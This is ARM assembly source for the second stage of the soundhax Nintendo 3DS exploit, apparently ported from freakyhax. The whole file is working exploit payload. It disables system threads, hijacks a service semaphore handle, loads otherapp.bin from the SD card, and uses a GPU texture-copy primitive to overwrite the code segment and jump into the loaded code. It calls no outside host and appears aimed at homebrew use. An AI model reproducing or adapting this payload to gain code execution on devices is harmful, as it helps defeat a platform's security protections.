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stage2.s
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stage2.s
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/* soundhax stage 2 */
/* ported by nedwill from freakyhax (plutoo), with permission */
#if defined(PRE21)
#include "stage2_constants_pre2.1.h"
#elif defined(V21AND22)
#include "stage2_constants_v2.1and2.2.h"
#else
#include "stage2_constants_post3.0.h"
#endif
#define OTHERAPP_ADDR 0x142C0000
#define OTHERAPP_SIZE 0xC000
#define OTHERAPP_CODE_VA 0x00101000
#define PARAMBLK_ADDR 0x14000000
.text
.global _start
_start:
/* OTHERAPP_CODE_GPU is in r5 */
/* Initialize stack. */
mov sp, #0x10000000
sub sp, #0x2C
/* Tell GSP thread to fuck off. */
ldr r0, =GSP_GET_INTERRUPTRECEIVER
blx r0
mov r1, #1
strb r1, [r0, #0x77]
ldr r0, [r0, #0x2C]
svc 0x18
/* Tell another problematic thread to fuck off as well. */
ldr r0, =THREAD8_OBJ
mov r1, #0
strb r1, [r0, #0x0D]
ldr r0, =THREAD8_EVENT_HANDLE
ldr r0, [r0]
svc 0x18
/*
* A srv-notification thread is running that can't return from the thread-function.
* Overwrite the handle it uses so that it won't return from svcWaitSynchronizationN
* with the next call. Then send a notification so that it returns from waitsync and
* uses the new handle.
*/
mov r0, #0
svc 0x17 // svcCreateEvent
ldr r3, =SRV_SEMAPHORE
str r1, [r3]
ldr r0, =0x207
mov r1, #0x1
bl srv_PublishToSubscriber
/* Open otherapp.bin on sdcard root. */
add r0, sp, #0xC // file_handle_out
adr r1, otherapp_str // path
mov r2, #1 // flags=FILE_READ
ldr r3, =FS_OPEN_FILE
blx r3
/* Read it into linear memory. */
ldr r1, [sp, #0xC] // file_handle
add r0, sp, #8 // bytes_read_out
mov r2, #0 // offset_lo
mov r3, #0 // offset_hi
ldr r4, =OTHERAPP_ADDR
str r4, [sp] // dst
ldr r4, =OTHERAPP_SIZE
str r4, [sp, #4] // size
ldr r4, =FS_READ_FILE
blx r4
/* Gspwn it to code segment. */
mov r0, r5 // dst
ldr r1, =OTHERAPP_ADDR // src
ldr r2, =OTHERAPP_SIZE // size
bl gsp_gxcmd_texturecopy
bl small_sleep
/* Grab GSP handle for next payload. */
ldr r0, =GSP_GET_HANDLE
blx r0
mov r3, r0
/* Set up param-blk for otherapp payload. */
ldr r0, =PARAMBLK_ADDR
ldr r1, =GSP_GX_CMD4
str r1, [r0, #0x1C] // gx_cmd4
ldr r1, =GSP_FLUSH_DATA_CACHE
str r1, [r0, #0x20] // flushdcache
add r2, r0, #0x48
mov r1, #0x8D // flags
str r1, [r2]
add r2, r0, #0x58 // gsp_handle
str r3, [r2]
/* smea's magic does the rest. */
add sp, #0x2C
ldr r0, =PARAMBLK_ADDR // param_blk
ldr r1, =0x10000000 - 4 // stack_ptr
ldr r2, =OTHERAPP_CODE_VA
blx r2
forever:
b forever
.pool
otherapp_str:
.string16 "$sndsd:/otherapp.bin\0"
.align 4
/* small_sleep: Sleep for a while. */
small_sleep:
mov r0, #0x10000000
mov r1, #0
svc 0x0A // svcSleepThread
bx lr
/* gsp_gxcmd_texturecopy: Trigger GPU memcpy. */
gsp_gxcmd_texturecopy:
push {r4, lr}
sub sp, #0x20
mov r3, #0
mov r4, #4 // cmd_type=TEXTURE_COPY
str r4, [sp]
str r1, [sp, #4] // src_ptr=r1
str r0, [sp, #8] // dst_ptr=r0
str r2, [sp, #0xC] // size=r2
str r3, [sp, #0x10] // in_dimensions=0
str r3, [sp, #0x14] // out_dimensions=0
mov r4, #8
str r4, [sp, #0x18] // flags=8
str r3, [sp, #0x1C] // unused=0
mov r0, sp
bl gsp_execute_gpu_cmd
add sp, #0x20
pop {r4, pc}
.pool
gsp_execute_gpu_cmd:
push {r4, lr}
mov r1, r0
ldr r4, =GSP_GET_INTERRUPTRECEIVER
blx r4
add r0, #0x58
ldr r4, =GSP_ENQUEUE_CMD
blx r4
pop {r4, pc}
.pool
srv_PublishToSubscriber:
push {r4, lr}
mrc p15, 0, r4, cr13, cr0, 3
add r4, r4, #0x80
ldr r2, =0x000C0080
str r2, [r4, #0]
str r0, [r4, #4]
str r1, [r4, #8]
ldr r0, =SRV_SESSIONHANDLE
ldr r0, [r0]
svc 0x32
cmp r0, #0
ldrge r0, [r4, #4]
pop {r4, pc}
.pool
/* Force assembler error if payload becomes greater than 0x800. */
.org 0x300, 0x45